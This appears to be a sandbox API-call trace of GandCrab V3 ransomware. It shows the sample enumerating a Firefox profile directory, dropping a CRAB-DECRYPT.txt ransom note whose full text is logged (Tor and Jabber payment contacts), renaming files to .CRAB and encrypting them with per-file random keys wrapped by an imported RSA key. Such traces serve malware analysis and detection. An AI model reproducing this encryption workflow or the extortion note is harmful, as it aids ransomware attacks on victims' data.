	[0123.228] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\*"
	[0123.228] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\*", lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0x3166ca0
	[0123.228] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0123.228] FindNextFileW (in: hFindFile=0x3166ca0, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0123.228] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0123.228] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0123.228] FindNextFileW (in: hFindFile=0x3166ca0, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0123.229] lstrcmpW (lpString1="chrome", lpString2=".") returned 1
	[0123.229] lstrcmpW (lpString1="chrome", lpString2="..") returned 1
	[0123.229] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\", lpString2="chrome" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome"
	[0123.229] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\"
	[0123.229] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.229] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0123.229] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0123.229] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0123.229] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0123.229] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.229] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3147f78, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0123.229] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0123.229] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0123.229] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3147760, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0123.230] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0123.230] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0123.230] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.230] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\\\CRAB-DECRYPT.txt") returned 122
	[0123.230] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3dc
	[0123.231] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0123.232] WriteFile (in: hFile=0x3dc, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3147f5c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3147f5c*=0xcce, lpOverlapped=0x0) returned 1
	[0123.237] CloseHandle (hObject=0x3dc) returned 1
	[0123.237] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.237] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\") returned 105
	[0123.238] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\*"
	[0123.238] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\*", lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 0x3166b60
	[0123.238] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0123.238] FindNextFileW (in: hFindFile=0x3166b60, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0123.238] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0123.238] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0123.238] FindNextFileW (in: hFindFile=0x3166b60, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0123.238] lstrcmpW (lpString1=".metadata", lpString2=".") returned 1
	[0123.238] lstrcmpW (lpString1=".metadata", lpString2="..") returned 1
	[0123.238] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2=".metadata" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata"
	[0123.238] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.238] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata") returned 114
	[0123.238] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata") returned 114
	[0123.238] lstrlenW (lpString=".metadata") returned 9
	[0123.239] VirtualAlloc (lpAddress=0x0, dwSize=0x16, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.239] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".metadata ") returned 10
	[0123.239] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.239] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata") returned 114
	[0123.239] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata") returned 114
	[0123.239] lstrcmpiW (lpString1=".metadata", lpString2="desktop.ini") returned -1
	[0123.239] lstrcmpiW (lpString1=".metadata", lpString2="autorun.inf") returned -1
	[0123.239] lstrcmpiW (lpString1=".metadata", lpString2="ntuser.dat") returned -1
	[0123.239] lstrcmpiW (lpString1=".metadata", lpString2="iconcache.db") returned -1
	[0123.239] lstrcmpiW (lpString1=".metadata", lpString2="bootsect.bak") returned -1
	[0123.239] lstrcmpiW (lpString1=".metadata", lpString2="boot.ini") returned -1
	[0123.239] lstrcmpiW (lpString1=".metadata", lpString2="ntuser.dat.log") returned -1
	[0123.239] lstrcmpiW (lpString1=".metadata", lpString2="thumbs.db") returned -1
	[0123.239] lstrcmpiW (lpString1=".metadata", lpString2="CRAB-DECRYPT.txt") returned -1
	[0123.239] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.240] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata.CRAB") returned 119
	[0123.240] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata")) returned 0x20
	[0123.240] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata", dwFileAttributes=0x20) returned 1
	[0123.241] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata.crab")) returned 1
	[0123.242] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.242] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata.CRAB"
	[0123.242] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata.CRAB.CRAB"
	[0123.242] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e5a0) returned 1
	[0123.242] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.243] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.243] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.243] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0123.243] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0123.243] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.243] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0123.244] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.244] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.244] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.244] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0123.244] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.244] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.245] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.245] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.245] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0123.245] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3166de0) returned 1
	[0123.245] CryptGetKeyParam (in: hKey=0x3166de0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0123.245] CryptEncrypt (in: hKey=0x3166de0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0123.246] GetLastError () returned 0x0
	[0123.246] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.246] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0123.246] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3166b20) returned 1
	[0123.246] CryptGetKeyParam (in: hKey=0x3166b20, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0123.246] CryptEncrypt (in: hKey=0x3166b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0123.246] GetLastError () returned 0x0
	[0123.246] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.246] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0123.247] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0123.247] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0123.247] ReadFile (in: hFile=0x3fc, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x3147f2c*=0x1d, lpOverlapped=0x0) returned 1
	[0123.255] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.256] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.256] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.256] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffffe3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.256] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x20, lpOverlapped=0x0) returned 1
	[0123.256] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.256] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.259] WriteFile (in: hFile=0x3fc, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0123.259] WriteFile (in: hFile=0x3fc, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0123.259] WriteFile (in: hFile=0x3fc, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0123.259] CloseHandle (hObject=0x3fc) returned 1
	[0123.259] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.259] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.260] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.260] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.260] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.260] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.260] FindNextFileW (in: hFindFile=0x3166b60, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0123.260] lstrcmpW (lpString1=".metadata-v2", lpString2=".") returned 1
	[0123.260] lstrcmpW (lpString1=".metadata-v2", lpString2="..") returned 1
	[0123.260] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\", lpString2=".metadata-v2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2"
	[0123.260] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.260] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2") returned 117
	[0123.260] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2") returned 117
	[0123.261] lstrlenW (lpString=".metadata-v2") returned 12
	[0123.261] VirtualAlloc (lpAddress=0x0, dwSize=0x1c, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.261] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".metadata-v2 ") returned 13
	[0123.261] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.261] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2") returned 117
	[0123.261] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2") returned 117
	[0123.261] lstrcmpiW (lpString1=".metadata-v2", lpString2="desktop.ini") returned -1
	[0123.261] lstrcmpiW (lpString1=".metadata-v2", lpString2="autorun.inf") returned -1
	[0123.261] lstrcmpiW (lpString1=".metadata-v2", lpString2="ntuser.dat") returned -1
	[0123.261] lstrcmpiW (lpString1=".metadata-v2", lpString2="iconcache.db") returned -1
	[0123.261] lstrcmpiW (lpString1=".metadata-v2", lpString2="bootsect.bak") returned -1
	[0123.261] lstrcmpiW (lpString1=".metadata-v2", lpString2="boot.ini") returned -1
	[0123.261] lstrcmpiW (lpString1=".metadata-v2", lpString2="ntuser.dat.log") returned -1
	[0123.261] lstrcmpiW (lpString1=".metadata-v2", lpString2="thumbs.db") returned -1
	[0123.261] lstrcmpiW (lpString1=".metadata-v2", lpString2="CRAB-DECRYPT.txt") returned -1
	[0123.261] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.261] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2.CRAB") returned 122
	[0123.261] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2")) returned 0x20
	[0123.261] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2", dwFileAttributes=0x20) returned 1
	[0123.262] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2.crab")) returned 1
	[0123.262] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.263] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2.CRAB"
	[0123.263] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\chrome\\.metadata-v2.CRAB.CRAB"
	[0123.263] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ed98) returned 1
